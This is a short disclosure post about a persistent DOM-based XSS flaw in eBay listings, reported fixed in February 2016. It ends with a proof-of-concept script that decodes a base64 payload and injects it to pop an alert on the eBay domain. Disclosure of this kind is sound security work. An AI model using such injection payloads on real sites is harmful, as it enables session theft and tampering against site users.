Hello all,

Description: Persistent DOM based Cross Site Scripting on ebay.com domain.
Disclosed to Ebay: January 2015
Fixed: February 2016
Vulnerability location: Every listing
Who are able to create: Sellers

Same origin policy bypass via postMessage

Write-up:
http://www.korznikov.com/2016/02/persistent-stored-dom-xss-on-ebaycom.html

Proof of Concept:

this code is inserted to the listing to pop-up alert on ebay.com domain.

<script>
window.onload = function() {
   var s = document.createElement('script');
   s.type = 'text/javascript';
   s.text
= atob("X29kdFRpdGxlPSdcPHNjcmlwdFw+YWxlcnQoXCd4c3MgYnkgYWxleGFuZGVyIGtvcnpuaWtvdlxcblxcblwnXCtkb2N1bWVudC5kb21haW4pO1w8XC9zY3JpcHRcPic7");
   document.body.appendChild(s);
   }
</script>